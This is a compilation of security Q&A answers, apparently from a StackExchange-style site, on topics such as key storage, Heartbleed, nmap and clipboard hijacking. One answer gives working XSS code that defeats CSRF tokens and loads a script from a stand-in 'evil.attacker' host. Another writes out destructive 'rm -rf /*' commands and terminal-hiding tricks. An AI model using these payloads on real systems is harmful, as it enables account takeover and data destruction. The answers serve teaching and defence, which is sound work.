Is it really secure to store API keys in environment variables?

If your computer is able to use the API without a password, then the information has to be stored somewhere on your system.  The point of storing it in the environment variable is to make it so that you don't check it in to the version control along with the source, however really, the ideal would be to use something like a HSM or TPM to store the API key in an encrypted manner that you can retrieve programmatically or store it on disk encrypted with the account credentials for the service or application that uses it.

I personally would be hesitant to use environment variables, but if you are only worried about accidentally revealing the key (and not local security for someone with access to your box) then it is one option for how to separate the code and keys, just not the best one.


How does ROCA affect Windows secure boot?

As far as I know, the vulnerable library is used by the Federal Information Processing Standard and by CC EAL5+, the same library is used in Windows 10 Secure Boot.

The RSA public key is made of two numbers N (2024 bits) and E (either 317, or commonly E = 2^16 + 1 = 65537), for the sake of performance some implementations use the small E, this implies that E=317 is vulnerable in all key sizes including 2,048-bit keys used in Secure Boot.

Check this advisory published by Microsoft (ADV170012) it lists all Microsoft's affected products.

This to say, YES in some cases ROCA could be relevant in the context of secure boot.


MySQL's AES_ENCRYPT function is insecure by default, as it uses ECB mode unless configured otherwise. The documentation provides an example of how to use CBC mode with a 256 bit key (though their example of a key is terrible):

mysql> SET block_encryption_mode = 'aes-256-cbc';
mysql> SET @key_str = SHA2('My secret passphrase',512);
mysql> SET @init_vector = RANDOM_BYTES(16);
mysql> SET @crypt_str = AES_ENCRYPT('text',@key_str,@init_vector);
mysql> SELECT AES_DECRYPT(@crypt_str,@key_str,@init_vector);

What key length you want to use depends on what block_encryption_mode you configure. Supported key lengths are 128, 192, and 256 (which also happen to be the only key lengths allowed by AES).

It can be seen here that if the provided key is too small it will be null-padded (due to the memset), and if it is too large it will xor the extra bytes with the first key_size bytes (e.g. if the key size is 4 bytes and the provided key is 12345678, it will xor 5678 with 1234 and use the result as the key). For best security you should use a random key of the size you configure AES to use. For AES-128 you want a 128 bit random key, or 32 hex characters:

SELECT AES_ENCRYPT('text', UNHEX('6133C3D40B2BF9267E85ED0C2FDDC686'), @init_vector);

For AES-256 you want a 256 bit random key, which is 64 hex characters:

SELECT AES_ENCRYPT('text', UNHEX('08672D4D2424CFE10E5221BF2EB8409C57431B30B55D6AE2D167E5F9682EF711'), @init_vector);

The MySQL documentation fails to note that the IV (initialization vector) must not be reused for multiple encryptions, and of course the IV must be stored to allow for decryption.

It should also be noted that none of the encryption modes that MySQL
supports provide authenticity, and of the supported modes, ECB is terrible and CBC, CFB, and OFB are all malleable.


A faster method than Blind SQL Injection?

Your approach to this problem is very bad. You are trying to find letters in the linear time complexity: O(n). Comparing letters, one after the other. It means, that in the pessimistic model you have to check the whole alphabet. Let’s assume that your alphabet consists of only lower-case letters: {a,z}, and your password is zzz. You will have 26 tries to find the first letter, 26 tries to find the second letter and 26 tries to find the last one.

As it was mentioned above, you can speed up this process. Please notice, that the order of letters in the alphabet is always the same (letters are sorted). You can use binary search with O(log(n)) time complexity. This method is used by most people. However, you can speed it up too.

If we know, that the searching password is the dictionary-word, we could use linguistic analysis to build our blind sql injection tries. We could use our knowledge about the frequency of letters in text (for example, the most frequent letter in English is ‘e’). We could also use the knowledge: what’s the probability that after letter X, letter Y occurs. We could also try to guess how many letters X are in our word. In this approach regular expressions can help us a lot. We define the range of characters that will be matched by LIKE (for MSSQL) or REGEXP (for MySQL) functions. Pretty nice explanation about regular expression in sql injection attacks could be find here: http://www.ihteam.net/papers/blind-sqli-regexp-attack.pdf


How can I successfully perform an xss attack on a dummy website?

I came up with the code below but it doesn't work

That's because you are performing a CSRF attack, but in exercise 2.1 there is actually an anti-CSRF token preventing this. You have to exploit the XSS vulnerability here.

  I came up with a plan to use a cookie and set the token to 'abc'. So, when I come to login, i use the username and password that I know with token=abc that I knowingly set.

This also will not work (at least not if the programmer is competent enough to implement anti-CSRF protection correctly). The token for comparing the form token is not stored in the cookie, but in the session, so it cannot be set by you.

Bypass CSRF via XSS

The point of this exercise is for you to see that CSRF prevention is useless when there is an XSS vulnerability anywhere in the website (not just the page you want to attack).

Here is the code (you might have to adjust some of the variable values):

    var csrfProtectedPage = 'http://permalink.co/login';
    var csrfProtectedForm = 'form';

    // get valid token for current request
    var html = get(csrfProtectedPage);
    document.body.innerHTML = html;
    var form = document.getElementById(csrfProtectedForm);
    var token= form.token.value;

    // build form with valid token and evil credentials
    document.body.innerHTML
     += '<form id="myform" action="' + csrfProtectedPage + '" method="POST">'
     + '<input type="hidden" name="csrf_token" value="' + token + '">'
     + '<input id="userpass" name="password" value="evilPass">'
     + '<input id="username" name="username" value="evilUser">'
     + '</form>';

    // submit form
    document.forms["myform"].submit();

    function get(url) {
        var xmlHttp = new XMLHttpRequest();
        xmlHttp.open("GET", url, false);
        xmlHttp.send(null);
        return xmlHttp.responseText;
    }

Then send your victim to http://permalink.co/search?q=<script src="http://evil.attacker/script.js"></script> (if you don't want them to click, but to just visit your website, load it as an image).

The idea is to inject javascript into the vulnerable site which loads the login page, gets a token, and then sends out the form with the valid token.

Bypass CSRF without XSS

It would be interesting to know the answer to question 2.2 in your document (the attack above, but without XSS).

You might think that you can just perform the same steps without the XSS vulnerability, but this is not possible because of the same origin policy (you cannot access data from a different origin with Javascript, so the attack fails at the get step which loads the form).


In recommend you to reinstall the COMPLETE server, because after a successfull attack the server isn't in a trust relation anymore! Maybe there is more than just this backdoor.

Yes, it is a lot of time to set up a new server, but the only way to gain trust again.


Could the causes of CVE-2015-2502 vulnerability be common to Firefox and Chrome?

The CVE you provided contains a link to a tweet from Greg Linares that shows the cause of this vulnerability is a use-after-free within Internet Explorer. Use-after-free vulnerabilities happen when a program frees a chunk of memory while still holding a reference to the freed memory.

Although Firefox and Chrome both have their own Javascript implementations (spidermonkey and blink/webkit), both have been exploited using this same technique many, many, many times. Below are some of the best links I've found explaining use-after-free exploitation within Firefox, Chrome, and IE:

http://www.vupen.com/blog/20140520.Advanced_Exploitation_Firefox_UaF_Pwn2Own_2014.php
http://www.vupen.com/blog/20120625.Advanced_Exploitation_of_Mozilla_Firefox_UaF_CVE-2012-0469.php
http://garage4hackers.com/content.php?r=143-Beginners-Guide-to-Use-after-free-Exploits-IE-6-0-day-Exploit-Development
http://www.thegreycorner.com/2010/01/heap-spray-exploit-tutorial-internet.html


How can Instagram cause Chrome to attempt to login and show me my username when I'm using incognito mode?

Instagram can't, and isn't, doing that. Chrome is. Chrome knows your Google account because you've signed in to it, and they know that you have your Instagram credentials saved in your Google account, so when you visit the Instagram website, they offer to sign in automatically for you. I don't know why this would trigger in Incognito mode; that seems like a possible bug. This is by design, apparently. I find this a bit worrying.

This popup isn't disableable as far as I can tell. If you're getting it, it means you've disabled auto sign-in and require a confirmation; that's as good as Chrome will give you, unless I'm missing an additional setting.


The SSLLabs test does not use your browser for testing but their own special client which supports more ciphers than the browser does. This means it looks only at server side problems and not at problems which might only happen when the server is used with your specific browser.
Thus the test will give out a warning about weak ciphers if these are configured on the server even if your browser does not support weak ciphers.


Risk of temporarily unencrypted data during transmission between systems

This is a generic vulnerability, for example Insecure Temporary File - OWASP .

You ask if this is "a major exploitable risk or a minor security risk".  That is the wrong question -- a vulnerability is not a risk. For example, using the Internet Security Glossary a risk is "An expectation of loss expressed as the probability that a particular threat will exploit a particular vulnerability with a particular harmful result."  You have one of the parameters -- the particular vulnerability -- but you need to know what kind of harmful result you are expecting (probably disclosure of sensitive data) and then a particular threat and the likelihood that that threat can exploit the data.

Suppose the material is quite sensitive indeed, whose disclosure can put the company at risk.  Suppose that a system administrator has access to the temp directories, and is curious and clumsy or disgruntled.  The risk could be very high indeed!

You describe some protective controls.  The servers are enclaved and perhaps you have done your diligence -- but without more information, there isn't any way to know.

That's why the job of a security officer is interesting.  :-)


Resources/tools for controlling access to corporate email on smartphones

I've work with a number of organisations looking to address the same issue. Due to regulatory issues or just a low risk appetite, each organisation has gone down the enterprise solution level, so that is the point of view I will add advice from.

Each time one company has been the front runner for the provision of the service and this is a US based company called - Good Technology with their "Good for Enterprise" solutions.

They offer "Enterprise-Grade Security and Management for iPhone, iPad and iPod Touch"

Positives:

Safe access to corporate email, contacts, calendar, Intranets, and Web applications on iOS devices.
On-device encryption. Which protects the data from the device.
Ability to apply corporate policy templates.

And in terms of your question, offers the ability to perform a remote wipe of the data. With Good, the enterprise data is the only data wiped. Which if you are in an organisation that supports personal device use is a great option.

On the downside, all data passes through the US based network operations centre. So you may need to understand if there is any issues for you as an organisation. Also as this is an enterprise solution, so cost may also be a barrier.

Hope this helps.


Setup a Proxy with a Cordova / Ionic Android App (aka Open Source version of PhoneGap )

I figured this out. It turned out that the issue was with Android Nugat and there actually was nothing wrong / built in to prevent the interception. Switching to JellyBean resolved the issue and allow the interception to happen.


Does http.sys vulnerability affect Windows not running any webservers?

IIS is one of many applications that get HTTP requests passed to it from HTTP.sys, so HTTP.sys can be loaded without IIS running or even being installed.

Windows implements an HTTP listener as part of the network subsystem via a kernel mode driver (HTTP.sys).  HTTP.sys is what's actually listening for HTTP requests and passing it on to the application responsible for processing the request (e.g. IIS/WinRM, etc.).  It's also responsible for passing the HTTP response back to the client application (e.g. web browser, powershell, etc.). Hypertext Transfer Protocol Stack (HTTP.sys)

Examples of applications/services using HTTP.sys:
ADFS, Powershell Remoting (uses WinRM), SSDP (Simple Service Discovery Protocol), UPnP (Universal Plug and Play), Web Application Proxy, Win Media Extender, WinRM (Windows Remote Management)

Note that you can run netsh http show servicestate to see what is using HTTP.sys.


Are our email credentials safe with email clients?

It's a valid concern. Any software which runs on your desktop can execute any code it wants. You need to trust your software to be authentic. You can transfer some risk mitigation to your firewall, antivirus, host based intrusion detection, or other anti-malware to some degree. But, if you have already installed the application and enabled firewall rules, etc. they likely won't be much help to prevent such exfiltration.

Most desktop clients are not encrypting your account passwords, and there are plenty of tools which can recover passwords from instant messaging clients, email clients, and browser. You would need to find a product at least claiming encryption that uses a master password to protect your other passwords. Also note though, you will have to trade off convenience and security in most cases - the decrypted credentials need to at least be stored in memory to be used continually; if they are discarded after downloading/sending your email, you would have to put in the master password again each time, since most mail client connections are not persistent.


Are most Linux systems that allow non-root users to execute code straightforwardly rootable?

No, this is not correct. While one may argue about the relative difficulty of finding and exploiting 0day vulnerabilities on Linux when you have local access, the security architecture itself of a modern Linux system (with an MMU) is designed to isolate different users and prevent privilege escalation. A non-root user cannot gain root without proper authorization without exploiting an extant vulnerability, and such privilege escalation vulnerabilities are very quickly patched as soon as they are discovered.*
It is possible, however, to abuse the human factor and gain root by exploiting misconceptions ubiquitous in the sysadmin profession. This of course relies on the sysadmin misunderstanding the security architecture of the system they maintain. A non-exhaustive list of examples:

Elevating privileges with sudo or su from an unprivileged but untrusted user.1

Tricking a sysadmin into running ldd on a malicious static executable as root.2

Abusing an insecurely installed binary.3

Dropping down to a lesser user from root, allowing a TTY pushback attack.4 5

* While this is ostensibly true, many deployments do not update themselves frequently enough, leading to live production systems being vulnerable to known bugs. An update being available does not guarantee an update being installed.


Is it possible to fake ECDSA signatures?

The comments in that reddit thread actually explain it fairly well.

In a way you could say that it is possible to 'fake ECDSA signatures', but it does not tell the whole story.

You have three things: the message, the hash of the message, and the signature on that hash. The tweet that reddit post talked about posted a signature on a hash, but did not reveal the original message. This is trivial to do, as given a hash and a valid signature, you can adjust both the hash and the signature to produce new 'valid' pairs. But at this point, that hash does not correspond to any sensible message. Even if the forger could brute-force a message to correspond to the hash (if the hashing scheme is secure, they can't as far as we know), it is exceedingly unlikely to be sensible text. So to answer your questions:

No this is not possible, if it were, the signature would be entirely broken and useless.
A crypto library cannot check for this, given just a hash and a signature and a key, you can verify that the signature is valid for that key and hash, but you also need to check if the hash is actually a valid hash of a piece of text that is being signed.
Yes you need to know the math behind cryptography to use it effectively. Cryptography is really hard, even for cryptographers who know the math. Valid schemes and implementations of those schemes (i.e. software) are only produced by long-term exposure to real-world use and expert testing/research. The famous motto in this field is "Do not roll your own crypto". Seriously, you can mess around with cryptographic libraries, but do not ever use it for something other than learning/as a hobby.

A famous example is text-book RSA. If you were to implement RSA as you read about it in any cryptography textbook, your scheme would be seriously vulnerable. One reason is that it is a deterministic scheme, i.e. the same message always encrypts to the same ciphertext, you can probably figure out why that is a bad thing. To make RSA safe, you also need a padding scheme.

There is no issue with producing many signatures on many small or long messages.


Are there objective reasons to not allow Google Chrome extensions, but to allow Firefox extensions?

I cannot answer the asked question, but I hope this could shed some light on your problem.

Should corporate security rules forbid usage of some browser extension?
IMHO the answer is YES here. Browser extensions can virtually do almost anything on behalf of the regular browser. That means that a local firewall will not detect them.

Are there objective reasons to trust more XXX (put whatever browser of browser extension here) than YYY (another browser or browser extension).
Well in IT security trust is based on 2 major pieces: audit of code and reputation. The former is objective, while the latter is not, but I must admit that I mainly use the latter because I have neither enough time nor enough knowledge to review everything, so I just rely on external advice from sources that I trust. When I rely on HTTPS to secure a channel, I must trust the certificate owner to not do bad things with the data once it has received it, and I trust the certificate signer. Long story short, it may be possible to say whether an extension has better reputation than another one, but it can only be by extension and not globally by browser.

Is usage of a portable Firefox in your use case an acceptable solution?
Still my opinion, but unless you are in hierarchical place that allows you to ignore a rule from the security team, I want to say a big NO here. My advice is that you should first make a list of the extensions you commonly used, and possible replacement ones. Then you should try to gather as many elements on their objective security and on their reputation (still on a security point of view). Then you should tell your manager that the recent forbidding of Chrome extension leads to a net decrease in productivity, and ask him to propose the security team a list of extensions you need with possible replacements (Firefox for Chrome by example). Then either they agree with an acceptable list, or the question should climb higher in the organization hierarchy, until someone that is accountable for both the global security and the global productivity takes a decision. Silently ignoring corporate rules is always a bad decision because the guy that has global authority has no way to know that some rules are not followed.

And if your boss chooses that security is more important than productivity or the opposite, he has authority for that choice while you may not have.


Bell-LaPadula model and composite services

according to bellow mentioned paper, Bell-Lapadula Model is not compatible with Composite services:

Incompatible Access Control Models: Access control of a composition is dependent on the access control capabilities of the individual services. Where different component services use different access control models, the result could be a violation of any of the models. As a simple example, consider a travel assistance service composition where the POI service applies BellLaPadula (“no read up, no write down” for confidentiality), while the route service applies Biba (“no read down, no write up” for integrity), is liable to result in a confused system with both models partially implemented.

Security and Trustworthiness Threats to Composite Services: Taxonomy, Countermeasures, and Research Directions springer


What can my device administrator see when I am connected to a private WiFi?

The device administrator, or whoever owns and provides the "private" WiFi, can see, and optionally log, the following:

MAC address of the device you're connecting to the WiFi from. For example, if you're accessing the hotspot with a Samsung mobile device, the administrator would be able to see it in the first two characters of your MAC address, which often is displayed outright on the WiFi management software
IP address, decided by the ISP the device administrator is subscribed to
Full website URLs you are visiting if those websites are not secured by SSL
Second-level domains (with their TLD) you visit (as opposed to full URL and webpage file/folders) in the case of websites secured by SSL (lock symbol). For example, they can know you are on facebook.com for every page you visit there, but not facebook.com/janetjackson/12345.html

How the above changes when incognito mode is activated is really specific and different between whichever devices and websites that offer the incognito mode. At best, incognito mode reduces user tracking which does not always mean hiding your IP address, but merely throwing less cookies at you so that your trail and online movements are followed less, which is not much of an improvement.
Incognito mode helps with privacy, but not anonymity. Privacy and anonymity are two completely different things. To have a layer of protection against what your administrator sees, consider using the Tor web browser if not VPN.


According to a quick internet search, TLS versions 1.0 and 1.1 were not formally deprecated (unlike SSL 2.0 and 3.0), but rather were declared deprecated by several large internet companies in order to force other vendors to stop using them.
Here appears to be a tracker, but as you may see it does not show 1.0 or 1.1 as deprecated. This type of news would likely be covered on news sites and blogs by major companies well in advance of such a change.


How are buffer-overflow exploits built to work against different targets?

Generally you have three options:

use the the stuff that stays the same (maybe main executable is not ASLRed, maybe some DLL isn‘t. Maybe some register always points to the same X)
find out where‘s what before you jump. you need some memory disclosure bug and a vuln you can exploit interactively, like over the network or from within the browser.
guess. This means either heap spraying or a vuln that you can attack over and over again until you succeed, like a web server.


What is the race condition in the Heartbleed attack?

Heartbleed was not an exploitation of a race condition... though you could argue the non-deterministic nature of the data returned is an outcome of a race condition. The exploit was a case of improperly placed trust (and improper bounds checking).  The victim trusted the attacker to tell it how large it's heartbeat response payload should be (because the server code was written to write a response of the same length (asserted length via the payload_length field)).

In heartbleed the "hacker" sends a four-byte HeartbeatMessage with a 1 byte payload.
this is the normal/correct length but the "hacker" claims the payload is huge in the payload_length field... lets say 65535 bytes in size. The victim reads 65535 bytes from its memory (instead of the 1 byte is should read).  This read starts from the received HeartbeatMessage payload.  It thus sends far more data than it should, leaking potentially useful/dangerous information.

Using the above a "hacker" can repeat this process as often as they like to try to find juicy info from a target.


What is the risk of copy and pasting Linux commands from a website? How can some commands be invisible?

Websites can append to your clipboard

The risk is exactly what you said it was. It's definitely possible to append malicious commands to the clipboard.

You could even append && rm -rf /* (only executes if the first command was successful), or ; rm -rf /* (executes even if the first command was unsuccessful) and brick certain UEFI devices.

You should also check out Michael's post in this thread for another example.

In the end, it really depends on how creative and malicious a particular evil "hacker" is.

But how can you make the commands "invisible" in the terminal?"

Method one

echo test;echo insert evil here;clear;echo installing package

Execution order:

Echo "test" happens
Echo "insert evil here" happens
Actions are "cleared"
Intended action happens here, but you don't see the rest.

...

You can try to scroll up in the terminal window to find the rest of it.
Method two

stty -echo
tput smcup

This will disable the terminal from showing what you're typing, so it doesn't appear in the terminal window at all.

You can try it like this:

stty -echo;tput smcup;echo evil commands
expected command

Those are just two really rough examples, but show the potential of what can be done to obfuscate commands. Note that it likely doesn't hide from ~/.bash_history unless the hidden commands specifically delete/modify it's contents.

You should assume that there are other ways to do this.

Mitigation

I recommend using an addon to disable clipboard manipulation. There are unfortunately ways to get around that, so I'd recommend pasting everything into a GUI text editor before it goes into your terminal, or anywhere.

You need to verify what you're doing. If you don't understand each individual command, you should google it. This is proper tinfoil hattery because copy and pasting can force the commands to auto-execute on many Linux flavors.

Repairing your Linux installation

You might not have any idea how deep the rabbit hole goes. Unless you have the time and effort to put into it, I'd suggest you just nuke from orbit, unless you have important files. If you have important files, just back up the non-executable stuff (no pdfs, documents, etc), and then nuke from orbit.

If you have PDFs, you can convert the PDF to post-script, or copy and paste the contents into a text file. With documents, copy and paste the text and format it later.


Router with good Firewall for office - total of 50 computers/devices including wifi devices

As Lucas has noted, shopping/product suggestions are ... less than welcome(?) on stackexchange sites. I use http://www.smallnetbuilder.com and they are very good. For your wants, they have a security section: http://www.smallnetbuilder.com/security/security-reviews


Why can I access the internet with all ports closed on firewall?

Access to the Internet consists of contacting hosts outside of your network, which relies on routing traffic via your local gateway, also your router typically. This traffic is sent to the router but not by accessing TCP or UDP ports since you're not trying to connect to the router itself. The router modifies the packets slightly (to make them look like they're being requested from a public IP address) and establishes outbound TCP connections (for the most part), which are bi-directional. Return traffic on an established TCP connection is expected and the router will forward it back to the original requesting host (i.e. PS4). This return traffic is not the same as an external host trying to open a port on your public IP address (probably set on your router).

So closing all your ports and disabling port forwarding means in the context of the router to close all TCP and UDP ports (and possibly ICMP...) facing the external interface (i.e. the Internet), so this rejects all new connections aimed at your public IP address. Closing all your ports on the internal interface means you won't be able to connect to service ports on the router itself (thus effective locking yourself out of the admin interface, so don't do this). Neither of these will stop traffic being routed to the Internet.

If you want to shut Internet access you need to make the router not route or forward traffic from the internal network. For example you could bring down the Internet interface (WAN) or add forwarding rules to block traffic from the internal network or disable masquerading (does not necessarily block traffic but effectively stops Internet access). This is not related to port numbers.


Strict-transport-security Mixed Content - same domain?

Only if the mixed content is on the same domain.

If the HSTS policy is on https://example.com and this loads an image from http://example.org then mixed content will show.

If however, the plain HTTP image is loaded from http://example.com then the browser will upgrade the HTTP connection to HTTPS so there will not be mixed content on the page.


The situation you're proposing is quite unlikely and worrying about it is time-consuming. What you have here is a pretty good off-site data protection plan for your usage. You have a copy that's almost always on you, a copy that's always in your home, and a copy at your workplace.

Since you're already worried about it, I'd say write your Dropbox password down. Yes, write it down and keep it in a physically secure place; keep it in your deposit box, in your money safe, or at your parents'/grandparents'.

In the rare case in which you really have no place to keep your Dropbox password, then simply choose a long, well-generated, and memorable passphrase. Nevertheless, I'm almost certain you'll forget it because you're most likely never going to use it.

Like Lucas suggested in the comments, it's also a good idea to keep a periodical backup on a securely-stored USB stick just in case.


The download is  shown by many scanners as Adware. The download page you use has a small notice below the download

  This installer may include bundled offers. Check below for more options.

Based on this it is likely that the bundled offer is the cause of the warning. If you follow the hint to check below for more options you get to another download page where a different version is offered. This version does not seem to have the Adware problems.


Mac OS X : Certificates signed by company trusted CA cannot be verified

There are not much details about your certificate itself, but I assume that you are connecting to an IP address and you are trying to use the IP address as the common name inside the certificate. As far as I know this is not supported by Safari. Instead it requires the IP addresses to be specified inside the SAN section (subject alternative names) of the certificate as type IP.

Which means this is not a problem of the CA, but a problem of the certificate itself.

See also https://serverfault.com/questions/550313/safari-7-ssl-error-if-using-ip-adress and also RFC2818:

  In some cases, the URI is specified as an IP address rather than a
     hostname. In this case, the iPAddress subjectAltName must be present
     in the certificate and must exactly match the IP in the URI.


How to audit JavaScript written by someone else before including it on my site?

One imperfect solution is to rely on reputation. Does the library have many users? Lots of downloads at GitHub or npm? An active community? Do any large established actors use it? A backdoor in jQuery would have been discovered by now, but one in a small obscure library might not.

If that is not good enough for you, the next step is to go through the code. There are some heuristics you can use. Obfuscated code is a big red flag. So are any unexpected HTTP requests using e.g. XHR or fetch. But a clever attacker can hide code to exfiltrate data - an unsuspicous looking image tag could be used to make a HTTP request for instance. So don't expect to be able to do this with grep. If you have doubts, maybe you should aim for at least a superficial understanding of the entire code base.


Could someone steal all stored cookies with an XSS attack?

The document.cookie object retrieves the cookies from the current document. The document refers to the webpage from where the javascript invoking the document object is running. So javascript won't be able to access cookies from other websites, that includes obviously a XSS attack.

  with "document.cookies" the browser shows cookie(s) that belong(s) to only for that website.

This statement is not entirely true. The document.cookie object allows javascript to access cookies from the current document, but only those that doesn't have the HTTPOnly flag. This flag is used to prevent javascript from accessing those cookies and is a policy enforced by the browser. It's recommended to turn on that flag on session cookies to protect them from being stolen through XSS


Guessing PIN code of smartcard using brute force and offline reader

EMV has PIN Try Counter. Failed offline PIN attempt decrements the counter and remains persistent across sessions. So even if you cancel the transaction after 2 failed attempts, it won't reset the counter. Next time when you will reinsert the card you will only have one attempt left.
Before VERIFY_PIN is issued, PIN Try Counter is retrieved by GET DATA command. If the value of PIN Try Counter is zero before verifying the PIN, terminal will go for online PIN verification as next supported cardholder verification method (CVM).
Nowadays online PIN verification is mandatory because of custom cardholder PIN. In some cases where terminal cannot go online, then only terminal chooses offline PIN verification as next supported CVM. Offline PIN can be updated with the post-issuance command by Issuer-to-Card Script Processing whenever a next transaction will be online.
Online PIN is sent with transaction authorization request to the issuer. The authorization response from the issuer contains transaction approval/rejection and optionally Card Status Update which can reset PIN Try Counter or can block the card.

Given that the person will enter the building on a regular basis and that the number of  available PIN attempts is reset each time the payment card is used in a Point of Sale terminal  or ATM, the attacker can have unlimited attempts to guess a card’s PIN.

I don't think this is possible today. Contactless cards have a threshold counter above which the next transaction has to be a contact payment or in some countries may still be operational in contactless mode with an online verification of the PIN code. (12:18)

EMV Contactless Book A, 5.9.3 - CVM Selection and Cardholder Verification

Methods that may be supported are online PIN and signature – offline PIN is not suitable due to the “card in field” timing issues.

Cardholder puts the card near to the PoS and pulls it back. Offline PIN verification will require the card to be remain in the field until PIN verification completes.

The specifications for contactless transactions specifically exclude the use of offline PIN verification (full details in [6] Book A section 5.9.3). Contactess offline PIN verification requires the PIN to be transmitted wirelessly to the card which poses a security risk from eavesdropping. Surprisingly many of the contact-
less cards currently in circulation in the UK allow access to offline verify PIN.

This is completely out of specification if UK banks were/are allowing offline PIN without persistent PIN Try Counter and unlimited consecutive contactless payments.
EMV contact/contactless cards have 3-5 year validity. So modern NFC cards might be complying with the specifications, atleast in countries where NFC payment support has just arrived.


When scanning TCP ports, Nmap will do a SYN scan by default and fall back to a connect scan if the user doesn't have sufficient privileges.

From the docs:

  -sS (TCP SYN scan)

  SYN scan is the default and most popular scan option for good reasons. It can be performed quickly, scanning thousands of ports per second on a fast network not hampered by restrictive firewalls. [...]

  -sT (TCP connect scan)

  TCP connect scan is the default TCP scan type when SYN scan is not an option. This is the case when a user does not have raw packet
  privileges. [...]

You can also use the verbose flag (-v) to find out which exact scan types are being run:

$ nmap -v -p 22 1.2.3.4

Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-11 12:14 CET
Initiating Ping Scan at 12:14
Scanning 1.2.3.4 [2 ports]
Completed Ping Scan at 12:14, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:14
Completed Parallel DNS resolution of 1 host. at 12:14, 0.01s elapsed
Initiating Connect Scan at 12:14
Scanning xxx (1.2.3.4) [1 port]
Completed Connect Scan at 12:14, 0.00s elapsed (1 total ports)
Nmap scan report for xxx (1.2.3.4)
Host is up (0.000070s latency).

PORT   STATE  SERVICE
22/tcp closed ssh

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds

$ sudo nmap -v -p 22 1.2.3.4

Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-11 12:15 CET
Initiating Parallel DNS resolution of 1 host. at 12:15
Completed Parallel DNS resolution of 1 host. at 12:15, 0.01s elapsed
Initiating SYN Stealth Scan at 12:15
Scanning xxx (1.2.3.4) [1 port]
Completed SYN Stealth Scan at 12:15, 0.04s elapsed (1 total ports)
Nmap scan report for xxx (1.2.3.4)
Host is up (0.000045s latency).

PORT   STATE  SERVICE
22/tcp closed ssh

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds
           Raw packets sent: 1 (44B) | Rcvd: 2 (84B)


Create CSR for S/MIME certificate from existing OpenPGP key pair

So, I'll admit, OpenPGP is not something I have much more than a superficial knowledge of.  I always end up back in the docs when I have to explain something - it's just not a useful technology for most of what I do (web app development in the cloud).
Go/No-Go Decision
Mileage will vary, somewhat, depending on your key type.  The CA will have a specific set of key types (encryption algorithm + key size) that it will accept.  That's non-negotiable.  If the OpenPGP key that you have is not of an acceptable type, then you won't get far with this procedure.
Getting the Key
Next, I would expect that you need some way to transform the OpenPGP key into a format that can be used to sign the CSR... unless it's already stored in a vialbe format.
I haven't tested it, but this looks like a reasonable procedure:
https://community.progress.com/s/article/How-to-export-a-private-OpenPGP-key-1307565960821
What I can't tell is what format this will export the key into.  Ideally, it'll have a nice clear file extension (.der, .pem, .p12 or .pkcs12 are all common formats that would fit with the notes in the next section).
Making the CSR
For Open SSL CSR generation, the command is nicely discussed here:
https://stackoverflow.com/questions/9471380/create-csr-using-existing-private-key
The core of it being:
openssl req -new -key key.pem -out req.pem

"key.pem" being your pre-existing key.  The PEM describes a way that a private key can be encoded.  DER and PKCS12 are also common formats, and converting between formats is described here:
https://www.digicert.com/kb/ssl-support/openssl-quick-reference-guide.htm
Open SSL being what it is, I would expect you could also use any of these 3 formats directly in CSR gen, though you may have to give some argument to specify which format.
... But should you
As I was writing this, the angel on my shoulder had some things to say.  It's one thing to be able to do this.  It's a different question of whether you SHOULD.  Private keys are the essence of security in asymmetric cryptography and handling them in a less secure way can compromise the protection.
I think this may be a case where you are better off doing this the easier way and generating a new private key for your CSR instead of trying to reuse your PGP key.  I don't have all the context, so I can't say for sure.  Instead, here's some things to think about:

Non-repudiation - the concern mentioned in the question about having a "truly private key" speaks to the idea that you want to have only your 1 system in control of the key.  In the sketch of the procedure above - you are making a copy of the key in exporting it from PGP.  You may also have a second copy in converting it's format for OpenSSL.  At the very least, be sure to clean up any extraneous copies.  But you'll likely end up needing 2 copies - one for the OpenPGP use and one for the purposes for which you are signing a certificate.

Limiting exposure risk - if you use the same key for two purposes and it's exposed, it compromises BOTH purposes.  That doubles the risk of exposure of cryptographic content.  If you had 2 keys and only 1 was exposed, the risk would be smaller.  For this reason, often different key is used for different purposes.

Ease of renewal - key expires.  Being able to rotate key easily (automatically!!!) minimizes the risk that you'll loose connectivity when the certificates that represent the key expire.  By connecting the Open PGP and the Certificate's private key - you make your rotation process more difficult, as you have (1) generate new key, (2) re-authorized the PGP side, (3) cut a new CSR, (4) get a new certificate.  That means you are almost certainly scripting something to do this, instead of telling each side to auto-renew on it's own.

I would argue that having 2 keys for these two separate mechanisms on the 1 system is not less secure.  Either way, the key is sitting on your hard drive, and could even be sitting in the same key storage system/drive location and thus afforded all of the OS level, hard drive level protections available on your computer.
Reasons that you would want to keep the key the same:

Trust distribution challenges - I have seen systems that would accept the authority of the PGP system or PKI hierarchies, and thus, your application must distribute a marker for it's key pair - and that single form of identity is how your system is authenticated.  I can't really think of why you would have such a situation that requires both PGP and X509 credential creation... but never say never.  If you are working in a system that imposes this restriction, then you're stuck trying to do what you're asking to do.
Suitable key generation is deemed a serious risk and as such, is very difficult.  The case that comes to mind is if you are hardware protecting your key, then getting access to the device that creates and keeps your key (not on your hard drive!) - can be difficult.  Doing it twice can be twice as difficult.  I've worked on a fair number of high level FIPS devices like this, and I'd still probably be inclined to make 2 different keys on that device, and use them for the 2 purposes... but mileage could definitely vary.

That's probably not a final list of either pros or cons.  But I'm hoping that it gets across that 1 key for all purposes is not necessarily more secure.


Does endianness affect encryption keys and initialization vectors?

Endianess of the system does not affect these things.

You usually consider keys, blocks, etc. a stream of bytes where endianess does not matter. The same holds also for the IV.

Endianess comes into play only when using multi-byte values like words or longs.

If it helps you can think of it as all being normalized to big-endian :-)


"Don't serve content over HTTP" - what does this mean, exactly?

It means to always use the SSL layer when serving pages. Links don't need to be absolute, but traffic received on port 80 without SSL should be redirected to port 443 with SSL. The rest of the magic is in avoiding attacks where the user doesn't visit the SSL site first and the redirect is hijacked using something like SSLstrip. That is covered in this question: Options when defending against SSLstrip?


Do you think it's a good policy to disclose your password encryption method to users?

There are good and bad things about revealing your password encryption in a document.

For:

When you disclose your encryption algorithm, if you're doing something wrong, someone is more likely to point it out to you.

Against:

If one of the people that has access to the documentation wants to attack your system will already know the encryption method you use. (they will still miss implementation details like, the actual salt used though)

Check this great question/answer:
At what point does something count as 'security through obscurity'?

